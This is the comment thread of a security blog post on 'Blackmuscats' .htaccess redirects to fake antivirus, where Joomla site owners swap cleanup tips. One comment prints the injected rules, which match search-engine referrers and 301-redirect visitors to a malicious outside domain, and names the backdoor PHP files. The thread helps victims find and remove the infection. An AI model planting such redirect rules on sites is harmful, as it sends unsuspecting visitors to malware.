Blackmuscats Conditional Redirections to Fake AntiVirus

24 comments

1.  I was the victim of this attack, my site is no longer accessible. what should I do please?

   1. You have to clear the .htaccess file that the attackers added. Sucuri also offers clean up packages: http://sucuri.net/signup/

2. Searching desperately for steps I can take to remove this from my websites.

3. My websites were infected, it started a few days ago. It seems like after I clean it up, it reappears. I must not be getting the root, it’s like some kind of flash virus.

   1. Same here, cleaning .htaccess solved problem temporariliy.  If you find root, could you please kindly post it here?

      1.  Of course

4. same by me… five sites under attack.   i did not find the issue… editing htaccess fixed temporary. google report it as spam site..

5. temporary: disable friendly urls and delete htaccess file…

6. i use joomla and have this on my site..but can’t find anything wrong in the .htaccess file something interesting is that it redirects me to https://google.com not to any other sites. Can anyone tell me how to fix this

   1.  I have to same problem on two sites that I worked on yesterday. I know wish I hadn’t…

7. i deleted .htaccess files but they apeared again… anytime after couple of time

8. somebody fixed this problem?

   1.  i tried to delete the .htaccess files and now in redirects me even when i type the url directly not only in google etc. the interesting thing for my site is that it redirects me to google.com not any other site

9. Any news about how to get rid of this?

10. I was hacked for couple of day’s ago.

    I found that there were a security issue with a component “com_jce” and i removed it and installed a newer version.

    I also found a couple of files in:
    images/stories/.cache_pchuyx.php
    images/stories/story.php

    I removed them and now everything seems to work again. I hope!

    No more hacked .htaccess file.

    1. Thank you so much for posting this.  I found the story.php and a similar .cache_xxx.php file (the string of letters was different for me).  So far it seems deleting these files does stop the htaccess re-writes.  Thank you again for sharing what you found.

       1.  Ok, nice. But you have to check if you have any component that is outdated. There may be a security hole there for the hackers to get in. They got in the first time, now you have to prevent a second time.

          1. Like you, there was an outdated JCE component on the site with the malicious .php files.  In the process of updating everything right now, all passwords have already been changed.  The hardest part was finding the malicious code, and your post helped greatly with that.  Thanks again.

             1. Glad I could help you!

11. Pingback: Redirection Malware Very Good Leads to Fake AV | Sucuri

12. Thank you! A search for “.cache” revealed the source of my .htaccess issues. Never was a fan of Joomla, but now will turn people away who want it.

13. Thanks, saved me a lot of trouble finfding the infection.

    For info this is what I found in my htaccess file – in white so it was hidden! Hope it helps.

    RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace).(.*)

    RewriteRule ^(.*)$ http://earthlinkunadorned.info/Foundation?8 [R=301,L]

    RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline).(.*)

    RewriteRule ^(.*)$ http://earthlinkunadorned.info/Foundation?8 [R=301,L]

14. I found codes in .htaccess file and deleted it but still appears after 1-2 hours later. I could not find “.cache_pchuyx.php” or story.php file. I also uninstalled “com_jce” component, still redirects…. please help me… this is infected my 6-7 websites… Thanks

15. To fix the redirection problems due to malwares there is a solution

Comments are closed.